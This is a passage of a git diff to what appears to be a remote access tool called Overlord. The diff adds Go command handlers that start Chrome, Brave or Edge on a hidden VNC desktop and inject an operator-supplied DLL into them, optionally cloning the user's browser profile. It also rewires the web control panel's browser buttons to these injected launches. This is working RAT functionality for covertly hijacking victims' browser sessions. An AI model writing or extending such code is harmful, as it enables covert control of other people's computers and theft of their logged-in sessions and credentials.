+ chromePath = v
+ }
+ }
+ dllBytes := extractDLLBytes(payload)
+ if len(dllBytes) == 0 {
+ sendCommandResultSafe(env, cmdID, false, "no DLL provided")
+ return nil
+ }
+ log.Printf("hvnc: start chrome injected path=%q dllSize=%d", chromePath, len(dllBytes))
+ sendCommandResultSafe(env, cmdID, true, "")
+ goSafe("hvnc_start_chrome_injected", nil, func() {
+ if err := capture.StartHVNCChromeInjected(chromePath, dllBytes); err != nil {
+ log.Printf("hvnc: chrome injected failed: %v", err)
+ }
+ })
+ return nil
+
+ case "hvnc_start_browser_injected":
+ payload, _ := envelope["payload"].(map[string]interface{})
+ browser := ""
+ exePath := ""
+ clone := true
+ if payload != nil {
+ if v, ok := payload["browser"].(string); ok {
+ browser = v
+ }
+ if v, ok := payload["path"].(string); ok {
+ exePath = v
+ }
+ if v, ok := payload["clone"].(bool); ok {
+ clone = v
+ }
+ }
+ dllBytes := extractDLLBytes(payload)
+ if len(dllBytes) == 0 {
+ sendCommandResultSafe(env, cmdID, false, "no DLL provided")
+ return nil
+ }
+ if browser == "" {
+ sendCommandResultSafe(env, cmdID, false, "no browser specified")
+ return nil
+ }
+ log.Printf("hvnc: start browser injected browser=%q path=%q clone=%v dllSize=%d", browser, exePath, clone, len(dllBytes))
+ sendCommandResultSafe(env, cmdID, true, "")
+ goSafe("hvnc_start_browser_injected", nil, func() {
+ if err := capture.StartHVNCBrowserInjected(browser, exePath, dllBytes, clone); err != nil {
+ log.Printf("hvnc: browser injected failed for %q: %v", browser, err)
+ }
+ })
+ return nil
+
case "webcam_start":
env.WebcamMu.Lock()
if env.WebcamCancel != nil {
diff --git a/Overlord-Server/public/assets/hvnc.js b/Overlord-Server/public/assets/hvnc.js
index c7868cb..252ada4 100644
--- a/Overlord-Server/public/assets/hvnc.js
+++ b/Overlord-Server/public/assets/hvnc.js
@@ -746,11 +746,14 @@ import { encodeMsgpack, decodeMsgpack } from "./msgpack-helpers.js";
} else if (action === "start-powershell") {
sendCmd("hvnc_start_process", { path: "conhost powershell.exe" });
} else if (action === "start-chrome") {
- sendCmd("hvnc_start_process", { path: "c:\\Program Files\\Google\\Chrome\\Application\\chrome.exe" });
+ const clone = document.getElementById("hvncCloneToggle")?.checked !== false;
+ sendCmd("hvnc_start_browser_injected", { browser: "chrome", clone });
} else if (action === "start-brave") {
- sendCmd("hvnc_start_process", { path: "c:\\Program Files\\BraveSoftware\\Brave-Browser\\Application\\brave.exe" });
+ const clone = document.getElementById("hvncCloneToggle")?.checked !== false;
+ sendCmd("hvnc_start_browser_injected", { browser: "brave", clone });
} else if (action === "start-edge") {
- sendCmd("hvnc_start_process", { path: "c:\\Program Files (x86)\\Microsoft\\Edge\\Application\\msedge.exe" });
+ const clone = document.getElementById("hvncCloneToggle")?.checked !== false;
+ sendCmd("hvnc_start_browser_injected", { browser: "edge", clone });
} else if (action === "start-custom") {
const exePath = prompt("Enter exe path (required)");
if (!exePath) {
diff --git a/Overlord-Server/public/hvnc.html b/Overlord-Server/public/hvnc.html
index a310d8c..5e975c6 100644
--- a/Overlord-Server/public/hvnc.html
+++ b/Overlord-Server/public/hvnc.html
@@ -152,6 +152,10 @@
class="hidden fixed z-50 min-w-[180px] rounded-lg border border-slate-700 bg-slate-900/95 text-sm text-slate-200 shadow-xl"
>
Browsers
+